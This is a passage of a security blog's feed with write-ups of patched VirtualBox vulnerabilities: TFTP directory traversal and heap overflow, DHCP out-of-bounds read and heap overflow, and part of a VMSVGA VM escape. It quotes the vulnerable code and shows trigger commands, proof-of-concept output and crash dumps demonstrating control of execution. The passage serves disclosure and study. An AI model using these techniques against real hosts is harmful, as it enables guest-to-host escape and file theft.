tag:blogger.com,1999:blog-39328780648819569342024-02-07T11:13:29.822+05:30voidsecurityYet another blog by a security enthusiast !Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.comBlogger114125tag:blogger.com,1999:blog-3932878064881956934.post-81538971027108811462019-01-18T18:41:00.000+05:302019-05-22T12:22:45.769+05:30VirtualBox TFTP server vulnerabilities <div dir="ltr" style="text-align: left;" trbidi="on">
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
In my previous blog post I wrote about VirtualBox DHCP bugs which can be triggered from an unprivileged guest user, in the default configuration and without Guest Additions installed. TFTP server for PXE boot is another attack surface which can be reached from the same configuration. VirtualBox in NAT mode (default configuration) runs a read only TFTP server in the IP address 10.0.2.4 to support PXE boot. <br />
<br />
<b>CVE-2019-2553 - Directory traversal vulnerability </b><br />
<br />
The source code of the TFTP server is at src/VBox/Devices/Network/slirp/tftp.c and it is based on the TFTP server used in QEMU. The below comment can be found in the source:
<br />
<pre class="prettyprint"> * This code is based on:
*
* tftp.c - a simple, read-only tftp server for qemu
</pre>
The guest provided file path is validated using the function tftpSecurityFilenameCheck() as below:
<br />
<pre class="prettyprint">/**
* This function evaluate file name.
* @param pu8Payload
* @param cbPayload
* @param cbFileName
* @return VINF_SUCCESS -
* VERR_INVALID_PARAMETER -
*/
DECLINLINE(int) tftpSecurityFilenameCheck(PNATState pData, PCTFTPSESSION pcTftpSession)
{
size_t cbSessionFilename = 0;
int rc = VINF_SUCCESS;
AssertPtrReturn(pcTftpSession, VERR_INVALID_PARAMETER);
cbSessionFilename = RTStrNLen((const char *)pcTftpSession->pszFilename, TFTP_FILENAME_MAX);
if ( !RTStrNCmp((const char*)pcTftpSession->pszFilename, "../", 3)
|| (pcTftpSession->pszFilename[cbSessionFilename - 1] == '/')
|| RTStrStr((const char *)pcTftpSession->pszFilename, "/../"))
rc = VERR_FILE_NOT_FOUND;
/* only allow exported prefixes */
if ( RT_SUCCESS(rc)
&& !tftp_prefix)
rc = VERR_INTERNAL_ERROR;
LogFlowFuncLeaveRC(rc);
return rc;
}
</pre>
This code again is based on the validation done in QEMU (slirp/tftp.c)
<br />
<pre class="prettyprint"> /* do sanity checks on the filename */
if (!strncmp(req_fname, "../", 3) ||
req_fname[strlen(req_fname) - 1] == '/' ||
strstr(req_fname, "/../")) {
tftp_send_error(spt, 2, "Access violation", tp);
return;
}
</pre>
Interesting observation here is, above validation done in QEMU is specific to Linux hosts. However, VirtualBox relies on the same validation for Windows hosts too. Since backslash can be used as directory separator in Windows, validations done in tftpSecurityFilenameCheck() can be bypassed to read host files accessible under the privileges of the VirtualBox process. The default path to TFTP root folder is C:\Users\<username>\.VirtualBox\TFTP. Payload to read other files from the host needs to be crafted accordingly. Below is the demo:<br /> <br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='900' height='470' src='https://www.blogger.com/video.g?token=AD6v5dy57N2UHXWOE7uRrJmw0qpkQ9kE9P1oSMD1ZeoTQmZMM4vZFnEXbDiGY-PRRaU1HLboqJDEjv0FbdJb-q9rDg' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div>
<br /> <br />
<b>CVE-2019-2552 - Heap overflow due to incorrect validation of TFTP blocksize option </b> <br /> <br />
The function tftpSessionOptionParse() sets the value of TFTP options
</username><br />
<pre class="prettyprint">DECLINLINE(int) tftpSessionOptionParse(PTFTPSESSION pTftpSession, PCTFTPIPHDR pcTftpIpHeader)
{
...
else if (fWithArg)
{
if (!RTStrICmp("blksize", g_TftpDesc[idxOptionArg].pszName))
{
rc = tftpSessionParseAndMarkOption(pszTftpRRQRaw, &pTftpSession->OptionBlkSize);
if (pTftpSession->OptionBlkSize.u64Value > UINT16_MAX)
rc = VERR_INVALID_PARAMETER;
}
...
</pre>
'blksize' option is checked if the value is > UINT16_MAX. Later the value OptionBlkSize.u64Value gets used in tftpReadDataBlock() to read the file content
<br />
<pre class="prettyprint">DECLINLINE(int) tftpReadDataBlock(PNATState pData,
PTFTPSESSION pcTftpSession,
uint8_t *pu8Data,
int *pcbReadData)
{
RTFILE hSessionFile;
int rc = VINF_SUCCESS;
uint16_t u16BlkSize = 0;
. . .
AssertReturn(pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX, VERR_INVALID_PARAMETER);
. . .
u16BlkSize = (uint16_t)pcTftpSession->OptionBlkSize.u64Value;
. . .
rc = RTFileRead(hSessionFile, pu8Data, u16BlkSize, &cbRead);
. . .
}
</pre>
pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX validation is incorrect. During the call to RTFileRead(), the file contents can overflow the buffer adjacent to 'pu8Data' by setting a value for blksize greater than the MTU. This bug can be used in combination with directory traversal bug to trigger the heap overflow with controlled data e.g. if shared folders are enabled, guest can drop a file with arbitrary contents in the host, then read the file using directory traversal bug. <br />
<br />
For the ease of debugging lets use VirtualBox for Linux. Create a file of size say UINT16_MAX in the host TFTP root folder i.e. ~/.config/VirtualBox/TFTP, then read the file from the guest with a large blksize value<br />
<br />
<pre class="prettyprint">guest@ubuntu:~$ atftp --trace --verbose --option "blksize 65535" --get -r payload -l payload 10.0.2.4
</pre>
<pre class="prettyprint">Thread 30 "NAT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ccf4700 (LWP 11024)]
[----------------------------------registers-----------------------------------]
RAX: 0x4141414141414141 ('AAAAAAAA')
RBX: 0x7fff8e5f16dc ('A' <repeats 200="" times="">...)
RCX: 0x1
RDX: 0x4141414141414141 ('AAAAAAAA')
RSI: 0x800
RDI: 0x140e730 --> 0x219790326
RBP: 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
RSP: 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
RIP: 0x7fff9457d8a8 (<slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx)
R8 : 0x0
R9 : 0x10
R10: 0x41414141 ('AAAA')
R11: 0x7fff8e5f1de4 ('A' <repeats 25="" times="">...)
R12: 0x140e720 --> 0xdead0002
R13: 0x7fff8e5f1704 ('A' <repeats 200="" times="">...)
R14: 0x140e7b0 --> 0x7fff8e5f16dc ('A' <repeats 200="" times="">...)
R15: 0x140e730 --> 0x219790326
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fff9457d89f <slirp_uma_alloc>: test rax,rax
0x7fff9457d8a2 <slirp_uma_alloc>: je 0x7fff9457d8b0 <slirp_uma_alloc>
0x7fff9457d8a4 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20]
=> 0x7fff9457d8a8 <slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx
0x7fff9457d8ac <slirp_uma_alloc>: mov rax,QWORD PTR [rbx+0x18]
0x7fff9457d8b0 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20]
0x7fff9457d8b4 <slirp_uma_alloc>: mov QWORD PTR [rdx],rax
0x7fff9457d8b7 <slirp_uma_alloc>: mov rax,QWORD PTR [r12+0x88]
[------------------------------------stack-------------------------------------]
0000| 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
0008| 0x7fff8ccf39b8 --> 0x140e720 --> 0xdead0002
0016| 0x7fff8ccf39c0 --> 0x7fff8e5eddde --> 0x5b0240201045
0024| 0x7fff8ccf39c8 --> 0x140dac4 --> 0x0
0032| 0x7fff8ccf39d0 --> 0x140e730 --> 0x219790326
0040| 0x7fff8ccf39d8 --> 0x140dac4 --> 0x0
0048| 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
0056| 0x7fff8ccf39e8 --> 0x7fff9457df41 (<uma_zalloc_arg>: test rax,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
</pre>
</div>
Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-1728935417870740752018-11-21T14:12:00.000+05:302018-11-21T14:12:17.534+05:30VirtualBox NAT DHCP/BOOTP server vulnerabilities <div dir="ltr" style="text-align: left;" trbidi="on">
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
Continuing from my previous blog posts, this is another old set of VirtualBox bugs which can lead to VM escape. VirtualBox guest in NAT mode (default networking configuration) enables a per VM DHCP server which assigns IP address to guest.
<pre class="prettyprint">
renorobert@ubuntuguest:~$ ifconfig enp0s3
enp0s3 Link encap:Ethernet HWaddr 08:00:27:b8:b7:4c
inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:119 errors:0 dropped:0 overruns:0 frame:0
TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11737 (11.7 KB) TX bytes:12157 (12.1 KB)
</pre>
The emulated DHCP server runs in IP address 10.0.2.2. Packets sent to this DHCP server gets parsed by host worker process
<pre class="prettyprint">
renorobert@ubuntuguest:~$ sudo nmap -sU -p 68 10.0.2.2
. . .
68/udp open|filtered dhcpc
MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)
</pre>
Oracle fixed 2 of my bugs CVE-2016-5610 and CVE-2016-5611 during <a href="https://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html" style="color: #0099ff;">Oracle Critical Patch Update - October 2016</a>. The bug affects VirtualBox versions prior to 5.0.28 and 5.1.8 in code src/Vbox/Devices/Network/slirp/bootp.c <br /> <br />
DHCP packet is defined in src/Vbox/Devices/Network/slirp/bootp.h as below:
<pre class="prettyprint">
#define DHCP_OPT_LEN 312
/* RFC 2131 */
struct bootp_t
{
struct ip ip; /**< header: IP header */
struct udphdr udp; /**< header: UDP header */
uint8_t bp_op; /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */
uint8_t bp_htype; /**< hardware type */
uint8_t bp_hlen; /**< hardware address length */
uint8_t bp_hops; /**< hop count */
uint32_t bp_xid; /**< transaction ID */
uint16_t bp_secs; /**< numnber of seconds */
uint16_t bp_flags; /**< flags (DHCP_FLAGS_B) */
struct in_addr bp_ciaddr; /**< client IP address */
struct in_addr bp_yiaddr; /**< your IP address */
struct in_addr bp_siaddr; /**< server IP address */
struct in_addr bp_giaddr; /**< gateway IP address */
uint8_t bp_hwaddr[16]; /** client hardware address */
uint8_t bp_sname[64]; /** server host name */
uint8_t bp_file[128]; /** boot filename */
uint8_t bp_vend[DHCP_OPT_LEN]; /**< vendor specific info */
};
</pre>
The DHCP server maintains an array of BOOTPClient structure (bootp.c), to keep track of all assigned IP addresses.
<pre class="prettyprint">
/** Entry in the table of known DHCP clients. */
typedef struct
{
uint32_t xid;
bool allocated;
uint8_t macaddr[6];
struct in_addr addr;
int number;
} BOOTPClient;
/** Number of DHCP clients supported by NAT. */
#define NB_ADDR 16
</pre>
The array is initialized during VM initialization using bootp_dhcp_init()
<pre class="prettyprint">
int bootp_dhcp_init(PNATState pData)
{
pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR);
if (!pData->pbootp_clients)
return VERR_NO_MEMORY;
return VINF_SUCCESS;
}
</pre>
<b>CVE-2016-5611 - Out-of-bounds read vulnerability in dhcp_find_option</b>
<pre class="prettyprint">
static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
{
uint8_t *q = vend;
uint8_t len;
. . .
while(*q != RFC1533_END) // expects END tag in an untrusted input
{
if (*q == RFC1533_PAD)
{
q++; // incremented without validation
continue;
}
if (*q == tag)
return q; // returns pointer if tag found
q++;
len = *q;
q += 1 + len; // length and pointer not validated
}
return NULL;
}
</pre>
dhcp_find_option() parses the guest provided bp_vend field in DHCP packet. However, lack of proper validation could return a pointer outside the DHCP packet buffer or crash the VM if the while loop never terminates until an unmapped address is accessed. One interesting code path to trigger info leak using this bug is by DHCP decline packets.
<pre class="prettyprint">
bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
bootp.c:412: req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
bootp.c:413: server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID);
bootp.c:701: pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE);
bootp.c:726: parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST);
bootp.c:773: pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
</pre>
<pre class="prettyprint">
static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size)
{
. . .
case DHCPDECLINE:
/* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points
* to Dhcp Option RFC2132_REQ_ADDR
*/
pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
. . .
req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2);
rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL);
if (RT_FAILURE(rc))
{
. . .
bc->addr.s_addr = req_ip.s_addr;
slirp_arp_who_has(pData, bc->addr.s_addr);
LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip));
}
/* no response required */
break;
. . .
</pre>
A DHCPDECLINE message is sent by a client suggesting the provided IP address is already in use. This IP address is part of the bp_vend field. The server calls dhcp_find_option() to get a pointer to the IP address within bp_vend field. Here a pointer outside the DHCP buffer can be returned, pointing to some junk data as IP address. <br /> <br />
The server first checks if the IP address is already in assigned list by calling bootp_cache_lookup_ether_by_ip(). If not, it further invokes slirp_arp_who_has() to generated an ARP request with bytes read outside DHCP buffer as IP address. This request will be received by the guest since its a broadcast packet leaking some bytes.<br /><br />
To trigger the issue, send a DHCPDECLINE packet with bp_vend filled with RFC1533_PAD. If there is no crash, an ARP packet will be triggered like below:
<pre class="prettyprint">
renorobert@guest:~$ sudo tcpdump -vv -i eth0 arp
[sudo] password for renorobert:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 45.103.99.109 (Broadcast) tell 10.0.2.2, length 46
</pre>
45.103.99.109 are the leaked host process bytes. Link to proof-of-concept code can be found at the end of blog post.<br /><br />
<b>CVE-2016-5610 – Heap overflow in dhcp_decode_request()</b>
<pre class="prettyprint">
static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m)
{
. . .
/*?? renewing ??*/
switch (dhcp_stat)
{
case RENEWING:
. . .
Assert((bp->bp_hlen == ETH_ALEN));
memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
bc->addr.s_addr = bp->bp_ciaddr.s_addr;
}
break;
case INIT_REBOOT:
. . .
Assert((bp->bp_hlen == ETH_ALEN));
memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
bc->addr.s_addr = ui32;
break;
. . .
}
</pre>
When parsing DHCPREQUEST packets, the bp->bp_hlen field is not validated. The assert statement Assert((bp->bp_hlen == ETH_ALEN)) is compiled out of release builds, leading to heap buffer overflow when copying bp_hwaddr from untrusted DHCP packet to the macaddr field in BOOTPClient structure. <br /> <br />
bp_hlen is only a byte, hence the maximum value can be 255. However, size of BOOTPClient structure array is greater than 300 bytes. Overflowing within this array is not very interesting as there is no critical data to corrupt. In order to make this overflow interesting, we have to reach to the end of BOOTPClient structure array (pbootp_clients).<br /> <br />
pbootp_clients array can store information about 16 client requests [0...15]. The first element is already used during VM initialization with the guest IP address. To advance further into the array, the guest can send another 14 DHCPREQUEST packets with unique information. When handling the 15th DHCPREQUEST packet trigger the overflow by setting bp_hlen to maximum value.<br /> <br />
Since pbootp_clients is allocated early during the VM initialization process and overflow is limited to a max of 255 bytes, the adjacent buffer needs to be something interesting. When testing VirtualBox 5.0.26 in Ubuntu 16.04, the adjacent buffer was a uma_zone structure defined in src/Vbox/Devices/Network/slirp/zone.h
<pre class="prettyprint">
# define ZONE_MAGIC 0xdead0002
struct uma_zone
{
uint32_t magic;
PNATState pData; /* to minimize changes in the rest of UMA emulation code */
RTCRITSECT csZone;
const char *name;
size_t size; /* item size */
ctor_t pfCtor;
dtor_t pfDtor;
zinit_t pfInit;
zfini_t pfFini;
uma_alloc_t pfAlloc;
uma_free_t pfFree;
int max_items;
int cur_items;
LIST_HEAD(RT_NOTHING, item) used_items;
LIST_HEAD(RT_NOTHING, item) free_items;
uma_zone_t master_zone;
void *area;
/** Needs call pfnXmitPending when memory becomes available if @c true.
* @remarks Only applies to the master zone (master_zone == NULL) */
bool fDoXmitPending;
};
</pre>
This structure gets used in functions defined in src/Vbox/Devices/Network/slirp/misc.c. Corrupting pfCtor, pfDtor, pfInit, pfFini, pfAlloc or pfFree gives RIP control in NAT thread or the per vCPU EMT thread.
<pre class="prettyprint">
$ sudo ./poc enp0s3
[sudo] password for renorobert:
poc: [+] Using interface enp0s3...
poc: [+] Sending DHCP requests...
poc: [+] Current IP address : 10.0.2.15
poc: [+] Requesting IP address : 10.0.2.16
poc: [+] Requesting IP address : 10.0.2.17
poc: [+] Requesting IP address : 10.0.2.18
poc: [+] Requesting IP address : 10.0.2.19
poc: [+] Requesting IP address : 10.0.2.20
poc: [+] Requesting IP address : 10.0.2.21
poc: [+] Requesting IP address : 10.0.2.22
poc: [+] Requesting IP address : 10.0.2.23
poc: [+] Requesting IP address : 10.0.2.24
poc: [+] Requesting IP address : 10.0.2.25
poc: [+] Requesting IP address : 10.0.2.26
poc: [+] Requesting IP address : 10.0.2.27
poc: [+] Requesting IP address : 10.0.2.28
poc: [+] Requesting IP address : 10.0.2.29
poc: [+] Requesting IP address : 10.0.2.30
poc: [+] Overflowing bootp_clients into uma_zone structure…
</pre>
<pre class="prettyprint">
gdb-peda$ c
Continuing.
Thread 11 "EMT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fd20e4af700 (LWP 27148)]
[----------------------------------registers-----------------------------------]
RAX: 0xfffffe95
RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B' <repeats 28 times>, "\b")
RCX: 0x0
RDX: 0x0
RSI: 0x42424242 ('BBBB')
RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' <repeats 28 times>, "\b")
RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0
RIP: 0x7fd1df22308e (call QWORD PTR [rbx+0x70])
R8 : 0x0
R9 : 0x0
R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push rbp)
R11: 0x0
R12: 0x7fd1f0852080 --> 0x800
R13: 0x7fd20e4aeb90 --> 0x100000002
R14: 0x7fd1f05ea340 ('B' <repeats 20 times>, "\b")
R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push rbp)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fd1df223086: xor edx,edx
0x7fd1df223088: mov esi,DWORD PTR [rbx+0x48]
0x7fd1df22308b: mov rdi,rbx
=> 0x7fd1df22308e: call QWORD PTR [rbx+0x70]
0x7fd1df223091: test rax,rax
0x7fd1df223094: mov r12,rax
0x7fd1df223097: je 0x7fd1df2230b5
0x7fd1df223099: mov rax,QWORD PTR [rbx+0x50]
Guessed arguments:
arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' <repeats 28 times>, "\b")
arg[1]: 0x42424242 ('BBBB')
arg[2]: 0x0
arg[3]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0
0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800
0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff
0024| 0x7fd20e4aeb68 --> 0x11a
0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test rax,rax)
0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0
0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/VBoxDD.so
gdb-peda$ x/gx $rbx+0x70
0x7fd1f05ea3a0: 0xdeadbeef00000000
</pre>
<br />
The proof of concept code for both the bugs can be found at <a href="https://github.com/renorobert/virtualbox-nat-dhcp-bugs" style="color: #0099ff;">virtualbox-nat-dhcp-bugs</a><br /> <br /> </div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0tag:blogger.com,1999:blog-3932878064881956934.post-9222094819394062752018-11-11T19:46:00.000+05:302018-11-11T19:46:21.110+05:30VirtualBox VMSVGA VM Escape<div dir="ltr" style="text-align: left;" trbidi="on">
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
VirtualBox emulates VMware virtual SVGA device whose interface details and programming model is available publicly [2]. Moreover, the paper “GPU Virtualization on VMware’s Hosted I/O Architecture” [1] is a great reference to the architecture of VMware SVGA device. Kostya Kortchinsky first published “CLOUDBURST - A VMware Guest to Host Escape Story” [3] detailing a VM escape using bugs in VMware SVGA device. <br />
<br />
Similarly Oracle also fixed a bunch of issues in their VMSVGA device (CVE-2014-6595, CVE-2014-6588, CVE-2014-6589, CVE-2014-6590, CVE-2015-0427) during the Critical Patch Update - January 2015 [6]. “Attacking hypervisors through hardware emulation” [4] has some details regarding the VMSVGA bugs in VirtualBox. <br />
<br />
It is important to note that VMSVGA device is not enabled by default and probably has very limited users. However, the feature can be enabled as mentioned in the documentation of VBoxManage [5].<br />
<br />
<pre class="prettyprint">VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
</pre>
Oracle fixed VMSVGA bugs CVE-2017-10210, CVE-2017-10236, CVE-2017-10239, CVE-2017-10240, CVE-2017-10392, CVE-2017-10407 and CVE-2017-10408 which I reported, during the Critical Patch Updates in July 2017 [7] and October 2017 [8]. CVE-2017-10210, CVE-2017-10236, CVE-2017-10239 and CVE-2017-10240 was also found by Li Qiang of the Qihoo 360 Gear Team [7]. This blog post details some of these issues and demonstrate a VM escape using them.<br />
<br />
Analysis was carried out in VirtualBox version 5.1.22 for OSX. VirtualBox for Linux is not built with support for VMSVGA 3D features and are available only in Windows and OSX. <br />
<br />
<b>CVE-2017-10210 - Integer overflow in validating face[0].numMipLevels in vmsvga3dSurfaceDefine (DevVGA-SVGA3d.cpp)</b><br />
<br />
<pre class="prettyprint">int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
/* cFaces must be 6 for a cubemap and 1 otherwise. */
AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER);
AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER);
. . .
}
</pre>
Here “cFaces” can be set to 6 when using “surfaceflag” SVGA3D_SURFACE_CUBEMAP. Then “face[0].numMipLevels” can be set to a value such that cFaces * face[0].numMipLevels wraps. “cMipLevels” depends on number of SVGA3dSize structures passed for SVGA_3D_CMD_SURFACE_DEFINE command e.g. 2 == 6 * 0x2aaaaaab<br />
<br />
face[0].numMipLevels value is used in multiple other commands leading to memory corruption. The PoC for CVE-2017-10210 demonstrates memory corruption using SVGA_3D_CMD_SURFACE_DESTROY command leading to invalid free().<br />
<br />
<pre class="prettyprint">int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid)
{
. . .
if (pSurface->pMipmapLevels)
{
for (uint32_t face=0; face < pSurface->cFaces; face++)
{
for (uint32_t i=0; i < pSurface->faces[face].numMipLevels; i++)
{
uint32_t idx = i + face * pSurface->faces[0].numMipLevels;
if (pSurface->pMipmapLevels[idx].pSurfaceData)
RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData);
}
}
RTMemFree(pSurface->pMipmapLevels);
}
. . .
}
</pre>
<br />
<pre class="prettyprint">renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc
[sudo] password for renorobert:
poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE...
poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
</pre>
<br />
<pre class="prettyprint"> [lldbinit] process attach --pid 57984
[-] warning: get_frame() failed. Is the target binary started?
Process 57984 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.
Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 57984 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x000070000E657000 RBP: 0x000070000E656CC0 RSP: 0x000070000E656C88 o d I t s z a P c
RDI: 0x000000000000DB0B RSI: 0x0000000000000006 RDX: 0x0000000000000000 RCX: 0x000070000E656C88 RIP: 0x00007FFF5F9B7B66
R8: 0x0000000000000000 R9: 0x0000000000000000 R10: 0x0000000000000000 R11: 0x0000000000000206 R12: 0x000000000000DB0B
R13: 0x0000000000000004 R14: 0x0000000000000006 R15: 0x000000000000002D
CS: 0007 FS: 0000 GS: 0000 Jump is taken (c = 0)
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
__pthread_kill @ libsystem_kernel.dylib:
0x7fff5f9b7b66: 73 08 jae 0x7fff5f9b7b70 ; <+20>
0x7fff5f9b7b68: 48 89 c7 mov rdi, rax
0x7fff5f9b7b6b: e9 79 6f ff ff jmp 0x7fff5f9aeae9 ; cerror_nocancel
0x7fff5f9b7b70: c3 ret
0x7fff5f9b7b71: 90 nop
0x7fff5f9b7b72: 90 nop
0x7fff5f9b7b73: 90 nop
__pthread_markcancel @ libsystem_kernel.dylib:
0x7fff5f9b7b74: b8 4c 01 00 02 mov eax, 0x200014c
-----------------------------------------------------------------------------------------------------------------------------
Process 57984 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
Target 0: (VirtualBoxVM) stopped.
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT
* frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10
frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333
frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127
frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521
frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305
frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682
frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]
</pre>
<br />
<br />
<b>CVE-2017-10236 – paMipLevelSizes is not validated leading to integer overflow in vmsvga3dSurfaceDefine (DevVGA-SVGA3d.cpp) </b><br />
<br />
<pre class="prettyprint"> /* Allocate buffer to hold the surface data until we can move it into a D3D object */
for (uint32_t i = 0; i < cMipLevels; ++i)
{
PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
. . .
pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
